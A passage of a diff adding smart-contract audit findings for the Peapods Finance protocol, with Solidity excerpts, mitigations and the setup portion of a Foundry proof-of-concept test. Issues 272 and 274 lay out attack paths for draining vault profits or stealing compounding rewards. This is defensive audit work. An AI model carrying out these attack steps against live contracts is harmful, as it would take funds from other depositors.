+At Line 331, indexUtils.addLPAndStake(pod, 1e18, _pairedLpToken, 3e18) is called.
+However, only 1e18 pairedTokens are used. Due to the slippage check, the transaction is reverted.
+
+### Impact
+The yield may not be distributed.
+
+### Mitigation
+Consider the remaining pairedLPtokens to ensure proper handling.
\ No newline at end of file
diff --git a/271.md b/271.md
new file mode 100644
index 0000000..ae0a67d
--- /dev/null
+++ b/271.md
@@ -0,0 +1,137 @@
+Faithful Wooden Elephant
+
+Medium
+
+# The Transfer Tax Is Not Considered In Some Cases
+
+
+### Summary
+In some cases, the transfer tax is not considered.
+
+### Root Cause
+In the POD Token, if the transfer tax is applicable, the tax is deducted.
+However, in some cases, it is not taken into account.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174-L177
+```solidity
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L64
+```solidity
+ function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ require(_amount > 0, "D1");
+ require(_pod != address(0), "D2");
+
+64: IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _amount);
+
+ IDecentralizedIndex _podContract = IDecentralizedIndex(_pod);
+ IDecentralizedIndex.IndexAssetInfo[] memory _podTokens = _podContract.getAllAssets();
+ address[] memory _tokens = new address[](_podTokens.length);
+ uint256[] memory _balancesBefore = new uint256[](_tokens.length);
+
+ // Get token addresses and balances before debonding
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+ }
+ _podContract.debond(_amount, new address[](0), new uint8[](0));
+
+ uint256[] memory _receivedAmounts = new uint256[](_tokens.length);
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _receivedAmounts[i] = IERC20(_tokens[i]).balanceOf(address(this)) - _balancesBefore[i];
+ }
+
+ IDecentralizedIndex.Config memory _podConfig = _podContract.config();
+ uint256 _lockId = currentLockId++;
+ locks[_lockId] = LockInfo({
+ user: _msgSender(),
+ pod: _pod,
+ tokens: _tokens,
+ amounts: _receivedAmounts,
+ unlockTime: block.timestamp + _podConfig.debondCooldown,
+ withdrawn: false
+ });
+
+ emit LockCreated(
+ _lockId, _msgSender(), _pod, _tokens, _receivedAmounts, block.timestamp + _podConfig.debondCooldown
+ );
+ }
+```
+The `PodUnwrapLocker::debondAndLock` function does not consider the transfer tax.
+As a result, this transaction is reverted.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L70
+```solidity
+ function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ address _indexFundAddy = address(_indexFund);
+ address _pairedLpToken = _indexFund.PAIRED_LP_TOKEN();
+ uint256 _idxTokensBefore = IERC20(_indexFundAddy).balanceOf(address(this));
+ uint256 _pairedLpTokenBefore = IERC20(_pairedLpToken).balanceOf(address(this));
+ uint256 _ethBefore = address(this).balance - msg.value;
+ IERC20(_indexFundAddy).safeTransferFrom(_msgSender(), address(this), _amountIdxTokens);
+ if (_pairedLpTokenProvided == address(0)) {
+ require(msg.value > 0, "NEEDETH");
+ _amtPairedLpTokenProvided = msg.value;
+ } else {
+70: IERC20(_pairedLpTokenProvided).safeTransferFrom(_msgSender(), address(this), _amtPairedLpTokenProvided);
+ }
+ if (_pairedLpTokenProvided != _pairedLpToken) {
+ _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+ }
+
+ IERC20(_pairedLpToken).safeIncreaseAllowance(
+ _indexFundAddy, IERC20(_pairedLpToken).balanceOf(address(this)) - _pairedLpTokenBefore
+ );
+
+ // keeping 1 wei of each asset on the CA reduces transfer gas cost due to non-zero storage
+ // so worth it to keep 1 wei in the CA if there's not any here already
+ _amountOut = _indexFund.addLiquidityV2(
+ IERC20(_indexFundAddy).balanceOf(address(this)) - (_idxTokensBefore == 0 ? 1 : _idxTokensBefore),
+ IERC20(_pairedLpToken).balanceOf(address(this)) - (_pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore),
+ _slippage,
+ _deadline
+ );
+ require(_amountOut > 0, "LPM");
+
+ IERC20(DEX_ADAPTER.getV2Pool(_indexFundAddy, _pairedLpToken)).safeIncreaseAllowance(
+ _indexFund.lpStakingPool(), _amountOut
+ );
+ _amountOut = _stakeLPForUserHandlingLeftoverCheck(_indexFund.lpStakingPool(), _msgSender(), _amountOut);
+
+ // refunds if needed for index tokens and pairedLpToken
+ if (address(this).balance > _ethBefore) {
+ (bool _s,) = payable(_msgSender()).call{value: address(this).balance - _ethBefore}("");
+ require(_s && address(this).balance >= _ethBefore, "TOOMUCH");
+ }
+ _checkAndRefundERC20(_msgSender(), _indexFundAddy, _idxTokensBefore == 0 ? 1 : _idxTokensBefore);
+ _checkAndRefundERC20(_msgSender(), _pairedLpToken, _pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore);
+ }
+```
+If `_pairedLpTokenProvided` is the POD Token, then at Line 70, the `_amtPairedLpTokenProvided `cannot be the actual transfer amount.
+As a result, this function could be reverted.
+
+### Impact
+Core contract functionality is broken.
+
+### Mitigation
+Consider calculating the actual transfer amount after transferring.
\ No newline at end of file
diff --git a/272.md b/272.md
new file mode 100644
index 0000000..5830505
--- /dev/null
+++ b/272.md
@@ -0,0 +1,85 @@
+Petite Walnut Ostrich
+
+High
+
+# Incorrect Skipping of the `addInterest` Function
+
+
+### Summary
+The `FraxlendPair::addInterest` function could be skipped even if there are significant unaccounted interests.
+
+### Root Cause
+In the `addInterest` function, the function can be skipped even when there are significant unaccounted interests.
+This occurs because interest is accounted for based on changes in utilization, and unaccounted interest does not affect utilization.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L317
+```solidity
+ function addInterest(bool _returnAccounting)
+ ...
+306: uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+ if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+ ) {
+317: emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+320: }
+```
+If `_rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC`, the function is skipped.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/libraries/VaultAccount.sol#L16
+```solidity
+16: function totalAmount(VaultAccount memory total, address vault) internal view returns (uint256 amount) {
+ if (vault == address(0)) {
+ return total.amount;
+ }
+ return total.amount + IERC4626Extended(vault).totalAvailableAssetsForVault(address(this));
+ }
+```
+Let `prevUtilizationRate = currentUtilizationRate` and `unaccounted interest = 0`.
+Over time, interest increases.
+However, regardless of how much interest increases, both `totalAmount` and `currentUtilizationRate` remain unchanged.
+As a result, the `addInterest` function is skipped.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L211
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L303
+The `addInterest` function is used to calculate the `totalAmount` of `LendingAssetVault`.
+Therefore, the `totalAmount` of `LendingAssetVault` may not be correct, potentially leading to profit or loss of funds for the providers of `LendingAssetVault` during deposits or redemptions.
+
+A malicious user could exploit this vulnerability to seize the profits of the `LendingAssetVault`.
+Consider this scenario:
+`totalAsset.shares = 50e18`, `unaccounted interest = 5e18`, `LendingAssetVault's share = 30e18`.
+`unaccounted external vault's interest = 3e18`.
+external vault's total shares = 40e18.
+1. Alice mint 10e18 shares from LendingAssetVault:
+ At this time, FraxlendPair::interest is skipped.
+2. Alice Deposits into FraxlendPair:
+ Amount deposited: 1 wei.
+ At this time, `FraxlendPair::interest` is updated.
+3. Alice Withdraws 10e18 shares from `LendingAssetVault`:
+At this time, Alice takes 0.6e18.
+
+### Impact
+Loss of funds for the providers of `LendingAssetVault`.
+A malicious user can extract the profit of `LendingAssetVault`.
+
+### Mitigation
+Consider the implementation related to the update time of interest.
+
diff --git a/273.md b/273.md
new file mode 100644
index 0000000..a632947
--- /dev/null
+++ b/273.md
@@ -0,0 +1,122 @@
+Petite Walnut Ostrich
+
+High
+
+# The `CBR` of `FraxlendPairVault` could decrease.
+
+
+### Summary
+In the `FraxlendPairCore::_withdrawToVault` function, this vault may could send more collateral to the `externalAssetVault` than it should, potentially decreasing the `CBR`.
+
+### Root Cause
+In the `FraxlendPairCore::_withdrawToVault` function, if the `externalAssetVault` does not have enough shares, it may send more collateral than necessary, resulting in a decrease in the `CBR`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L670
+```solidity
+663:function _withdrawToVault(uint256 _amountToReturn) internal returns (uint256 _shares) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of shares to burn based on the assets to transfer
+ _shares = _totalAsset.toShares(_amountToReturn, true);
+ uint256 _vaultBal = balanceOf(address(externalAssetVault));
+670: _shares = _vaultBal < _shares ? _vaultBal : _shares;
+
+ // Deposit assets to external vault
+ assetContract.approve(address(externalAssetVault), _amountToReturn);
+ externalAssetVault.whitelistDeposit(_amountToReturn);
+
+ // Execute the withdraw effects for vault
+ // receive assets here in order to call whitelistDeposit and handle accounting in external vault
+ _redeem(
+ _totalAsset,
+ _amountToReturn.toUint128(),
+ _shares.toUint128(),
+ address(this),
+ address(externalAssetVault),
+ true
+ );
+ }
+```
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+The `LendingAssetVault::vaultUtilization` is calculated within `LendingAssetVault`.
+Therefore, this value may differ from the exact value that should be received from `FraxlendPairVault`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L312-L317
+```solidity
+ function depositToVault(address _vault, uint256 _amountAssets) external onlyOwner {
+ require(_amountAssets > 0);
+312: _updateAssetMetadataFromVault(_vault);
+ IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets);
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+ require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX");
+ vaultDeposits[_vault] += _amountAssets;
+317: vaultUtilization[_vault] += _amountAssets;
+ _totalAssetsUtilized += _amountAssets;
+ emit DepositToVault(_vault, _amountAssets, _amountShares);
+ }
+```
+
+Consider the following scenario:
+In `FraxlendPairVault`: `totalAsset.amount = 80e18`, `totalAsset.shares = 80e18`, there are `20e18` unaccounted interest assets.
+At this point, `LendingAssetVault::depositToVault(FraxlendPairVault, 50e18)` is called.
+
+In `LendingAssetVault::L312`, `_vaultWhitelistCbr[FraxlendPairVault] = 1e27`.
+In the `FraxlendPairCore::deposit` function, the unaccounted interest is accounted and the assets are deposited.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L628
+`totalAsset.amount = 100e18`, `totalAsset.shares = 80e18`,
+`LendingAssetVault(externalAssetVault)'s shares = 50e18 * 80e18 / 100e18 = 40e18`,
+`LendingAssetVault(externalAssetVault)'s amount = 50e18`.
+In LendingAssetVault::L317, vaultUtilization[FraxlendPairVault] = 50e18.
+If `_updateAssetMetadataFromVault(FraxlendPairVault)` is called anywhere,
+`_vaultWhitelistCbr[FraxlendPairVault] = 1e27 * 100e18 / 80e18 = 1.25e27`,
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L301-L303
+`vaultUtilization[FraxlendPairVault] = 50e18 + (50e18 * (1.25e27 - 1e27)) / 1e27 = 62.5e18`.
+Therefore, `FraxlendPairVault` loses 12.5e18.
+
+### Impact
+1. The providers in `FraxlendPairVault` loss their assets.
+2. Invariant Breaking.
+In Readme:
+>What properties/invariants do you want to hold even if breaking them has a low/unknown impact?
+>For all vaults (ERC4626) we have in the system, the best case scenario is the collateral backing ratio (CBR, i.e. ratio of convertToAssets(shares) / shares) of the vault will always increase and never decrease. the scenario where this isn't necessarily the case is if bad debt is accrued on a lending pair. Otherwise outside of the case of bad debt we expect this CBR to only go upwards over time.
+
+### Mitigation
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L456
+```diff
+663:function _withdrawToVault(uint256 _amountToReturn) internal returns (uint256 _shares) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of shares to burn based on the assets to transfer
+ _shares = _totalAsset.toShares(_amountToReturn, true);
+ uint256 _vaultBal = balanceOf(address(externalAssetVault));
+670: _shares = _vaultBal < _shares ? _vaultBal : _shares;
++ _amountToReturn = _totalAsset.toAmount(_shares, false);
+
+ // Deposit assets to external vault
+ assetContract.approve(address(externalAssetVault), _amountToReturn);
+ externalAssetVault.whitelistDeposit(_amountToReturn);
+
+ // Execute the withdraw effects for vault
+ // receive assets here in order to call whitelistDeposit and handle accounting in external vault
+ _redeem(
+ _totalAsset,
+ _amountToReturn.toUint128(),
+ _shares.toUint128(),
+ address(this),
+ address(externalAssetVault),
+ true
+ );
+ }
+```
\ No newline at end of file
diff --git a/274.md b/274.md
new file mode 100644
index 0000000..ceae857
--- /dev/null
+++ b/274.md
@@ -0,0 +1,623 @@
+Witty Chartreuse Starling
+
+Medium
+
+# Attacker can steal rewards in AutoCompoundingPodLp because he can revert the compounding with slippage
+
+### Summary
+
+`_processRewardsToPodLp` swaps the reward token into pTKN in order to add liquidity and stake it. However, an attacker can receive rewards they shouldn't by causing slippage during the swap, which causes it to fail. This allows the attacker to deposit without the rewards being compounded. Therefore, when compounding is successful next time, the attacker will receive a portion of those rewards.
+
+### Root Cause
+
+AutoCompoundingPodLp uses `_processRewardsToPodLp` to compound the rewards. To do this, the rewards must first be swapped into pTKNs so that they can be added as liquidity, which then generates LP tokens that can be staked. The problem lies in the swap in `_pairedLpTokenToPodLp`:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L316-L325
+When the `podOracle` is set, a minimum amount is calculated that should come out during the swap, with a 5% slippage taken into account. The problem is that an attacker can cause this 5% slippage to occur, which results in the swap being reverted. This means the rewards are not compounded and remain in AutoCompoundingPodLp. The root cause is that new users can receive old rewards that could not previously be compounded.
+
+It is important to note that in TokenRewards, `LEAVE_AS_PAIRED_LP` must be set to true (unless the paired LP token is in the `_allRewardsTokens` list in TokenRewards), otherwise, the paired LP tokens that remain in the contract when the swap in AutoCompoundingLp is reverted will not be compounded because they are not reward tokens. (This is a different bug that I describe in more detail in a separate issue, but I wanted to mention this here as it could limit this bug)
+
+### Internal Pre-conditions
+
+1. `podOracle` must be set in AutoCompoundingPodLp
+2. `LEAVE_AS_PAIRED_LP` must be true if the paired LP token is not in the `_allRewardsTokens` list in TokenRewards
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+1. It is assumed that some rewards are currently in AutoCompoundingPodLp
+2. An attacker with spTKNs sees this and swaps paired LP tokens into pTKNs
+3. The attacker then deposits his spTKNs into AutoCompoundingPodLp, where no rewards can be compounded because the swap is reverted
+4. The attacker then swaps the pTKNs back into paired LP tokens, thereby reducing slippage
+5. The attacker redeems from AutoCompoundingPodLp, where compounding is possible this time. Due to the compounding, there are more spTKNs in AutoCompoundingPodLp, so the attacker receives more than the amount he initially deposited.
+
+### Impact
+
+A attacker can steal spTKN rewards from other users, causing them to receive fewer rewards.
+
+### PoC
+
+1. To execute the POC, a `POC.t.sol` file should be created in `contracts/test/POC.t.sol`.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN1Peas;
+ address internal _aspTKN1PeasAddress;
+
+ // lvf
+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployWeightedIndexes();
+ _deployAutoCompoundingPodLpFactory();
+ _getAutoCompoundingPodLpAddresses();
+ _deployAspTKNOracles();
+ _deployAspTKNs();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployWeightedIndexes() internal {
+ IDecentralizedIndex.Config memory _c;
